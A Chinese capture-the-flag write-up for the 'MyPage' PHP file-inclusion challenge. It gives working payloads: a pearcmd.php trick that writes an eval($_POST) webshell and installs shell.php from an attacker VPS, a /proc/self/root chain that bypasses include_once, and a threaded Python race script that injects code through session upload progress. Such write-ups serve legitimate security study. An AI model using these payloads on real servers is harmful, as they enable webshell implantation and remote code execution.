MyPage

打开后给了一个参数file。尝试使用php伪协议读取index.php的源码,发现无法读取。

解法一:pearcmd.php文件包含

使用条件:
1.安装了pear拓展
2.register_argc_argv已开启

原理:

由pearcmd.php中的一段代码:

public static function readPHPArgv()
{global $argv;if (!is_array($argv)) {if (!@is_array($_SERVER['argv'])) {if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {$msg = "Could not read cmd args (register_argc_argv=Off?)";return PEAR::raiseError("Console_Getopt: " . $msg);}return $GLOBALS['HTTP_SERVER_VARS']['argv'];}return $_SERVER['argv'];}return $argv;
}

可以知道pearcmd.php是通过$_SERVER['argv']来获取参数的。

对于传入$_SERVER['argv']的参数,+起到分隔作用,比如传入 1+1 实际上得到的是 1 1。

因为$_SERVER['argv']是可控的,所有可以利用pear命令来进行漏洞利用。

(1) config-create

该命令有两个参数,可以将第一个参数的内容写入第二个参数路径的文件中。

payload:

?+config-create+/&file=/user/local/lib/php/pearcmd.php&/<?=@eval($_POST['shell']);?>+/tmp/shell.php

注意:?后面的第一个+不能省略,否则会报错。

根据回显结果可以知道 /&file=/user/local/lib/php/pearcmd.php&/<?=@eval($_POST['shell']);?> 整个被当作参数传入了命令行,而且file被当作get参数正常执行了,也就是说pearcmd.php被包含了进来,因为php没有严格执行RFC3875,所以即使存在 = 也可以正常传入$_SERVER['argv']中。

因为 <?=@eval($_POST['shell']);?> 被写入了 /tmp/shell.php 中,所以可以让 file=/tmp/shell.php 来把shell.php包含进来,然后就可以用antsword连接了。

(2) install

这个命令可以从自己的服务器中下载php文件到靶机上。

payload:

?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/shell.php

解法二:/proc绕过include_once()

php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,正常情况下,PHP会将用户输入的文件名进行resolve,转换成标准的绝对路径,这个转换的过程会将…/、./、软连接等都进行计算,得到一个最终的路径,再进行包含。如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过include_once限制。

payload:

php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php

/proc/self/root 代表跳转到根目录 /

/proc/self/cwd 返回当前文件所在目录

经过测试21个到30个 /proc/self/root 都可以成功读取到 flag.php

解法三:session.upload_progress与Session文件包含

利用条件:
1.目标环境开启了session.upload_progress.enable选项
2.发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS字段

原理:

可以上传含有所需内容的session文件,然后利用条件竞争的方法利用该session文件。

脚本:

import threading
import requests
from concurrent.futures import ThreadPoolExecutor, waittarget = 'http://43.142.108.3:28104/'
session = requests.session()
flag = 'helloworld'def upload(e: threading.Event):files = [('file', ('load.png', b'a' * 40960, 'image/png')),]data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}while not e.is_set():requests.post(target,data=data,files=files,cookies={'PHPSESSID': flag},)def write(e: threading.Event):while not e.is_set():response = requests.get(f'{target}?file=/tmp/sess_{flag}',)if flag.encode() in response.content:e.set()if __name__ == '__main__':futures = []event = threading.Event()pool = ThreadPoolExecutor(15)for i in range(10):futures.append(pool.submit(upload, event))for i in range(5):futures.append(pool.submit(write, event))wait(futures)

参考文章

Docker PHP裸文件本地包含综述 - 跳跳糖 (tttang.com)

Proc 目录在 CTF 中的利用-安全客 - 安全资讯平台 (anquanke.com)

[NSSRound#8 Basic] MyPage相关推荐

  1. [NSSRound#8 Basic]MyDoor

    1.打开环境,审计代码,一个file后门 用base64读取index.php的源码,发现可以传参N_S.S进行命令执行,由于php的特性,在后端会被规范成N_S_S. 所以用N[S.S传参 payl ...

  2. remote: HTTP Basic: Access denied

    github 提交项目 提示 remote: HTTP Basic: Access denied 这个一般就是自己更改github账号的密码引起的 处理方法1 进入控制面板-->用户账号--&g ...

  3. PAT (Basic Level) Practise (中文)-1025. 反转链表 (25)

    PAT (Basic Level) Practise (中文)-1025. 反转链表 (25)   http://www.patest.cn/contests/pat-b-practise/1025 ...

  4. linux利用* vim提权,linux 通过suid vim.basic文件提权

    在kali上复现 先给需要的vim.basic文件设置suid权限 chmod u+s /usr/bin/vim.basic 先adduser test1一个普通权限用户 现在就是一个合适的提权环境 ...

  5. android get请求最长字符,Android OKHTTP3的GET和POST方法(带basic auth)

    使用前需要在Gradle Script中的build gradle中引入: compile 'com.squareup.okio:okio:1.13.0' compile 'com.squareup. ...

  6. PCLPCL/OpenNI tutorial 2: Cloud processing (basic)

    翻译自:http://robotica.unileon.es/index.php/PCL/OpenNI_tutorial_2:_Cloud_processing_(basic)#Feature_est ...

  7. 在 Visual Basic .NET 或 JScript 代码中使用早期绑定

    以往,开发人员喜欢使用 Visual Basic.VBScript 和 JScript 的原因之一就是它们所谓"无类型"的性质.变量不需要显式类型声明,并能够简单地通过使用来创建它 ...

  8. vba 编辑combobox内容_初识Visual Basic编辑器并建立一段简单的代码

    大家好,从今日开始我正式推出"VBA之EXCEL应用"教程,这个教程是面向初学人员的教程,教程一共三册,十七个章节,从简单的录制宏实现一直讲到窗体的搭建,都是我们在利用EXCEL工 ...

  9. ASP.NET Web API 实现客户端Basic(基本)认证 之简单实现

    优点是逻辑简单明了.设置简单. 缺点显而易见,即使是BASE64后也是可见的明文,很容易被破解.非法利用,使用HTTPS是一个解决方案. 还有就是HTTP是无状态的,同一客户端每次都需要验证. 实现: ...

最新文章

  1. MySQL基础篇:数据定义语言DDL
  2. linux 4.1.16 ftrace 进程调度,Linux内核进程调度overview(1)
  3. 2020年,我靠Java加薪3倍工资,只因做对这件事
  4. 一机三屏台式计算机,三屏系统重现江湖:背后一台完整主机
  5. 剑指offer :跳台阶
  6. 解决Maven下载慢的问题
  7. swiper5 点击图换下一张_软网推荐:骗倒社交好友 制作另类隐藏图
  8. Windows安装宝塔后跳过绑定手机号
  9. 通过ip地址连接局域网内的打印机(win7、win10)
  10. 在某网课学习前端笔记整理js篇24-js正则表达式
  11. 怎样做一个更有价值的人
  12. 6.0 深度学习图片常见转换操作
  13. Docker 取代 VM !是什么让 Docker 比 VM 或裸机更安全?
  14. win10关闭快速启动_注意:win10系统快速启动功能虽然好用,但也会带来一些麻烦...
  15. 一起谈.NET技术,.NET十年(下)
  16. java 枚举类组合在一起_Java,.NET,但为什么在一起?
  17. 帝国cms导入html模板,帝国CMS模板组导入导出更换模板
  18. Power BI----DAX讲解
  19. IT业界新闻资讯网站推荐
  20. 《C》C语言编程实现任意阶数的“m序列”并通过gnuplot绘图——在知道本原多项式的前提下

热门文章

  1. PowerDesigner导出表结构到word(RTF格式)
  2. QGC源码分析——航向规划中航点编辑流程(QGroundControl)
  3. Adobe Acrobat Pro DC 缩小文件大小
  4. win7电脑蓝屏没有修复计算机,win7电脑蓝屏怎么办
  5. 【自主无人机】无人机领域中知名课题组介绍 - 转自阿木实验室
  6. 英语中的开音节,闭音节
  7. DC-DC同步升压芯片PW5100替代PC1961,原厂供应
  8. 去掉电影字幕的最好方法
  9. CF 1324-F Maximum White Subtree //树形换根dp
  10. 大话赛宁云 | 演系列-超仿真网络空间“演武场”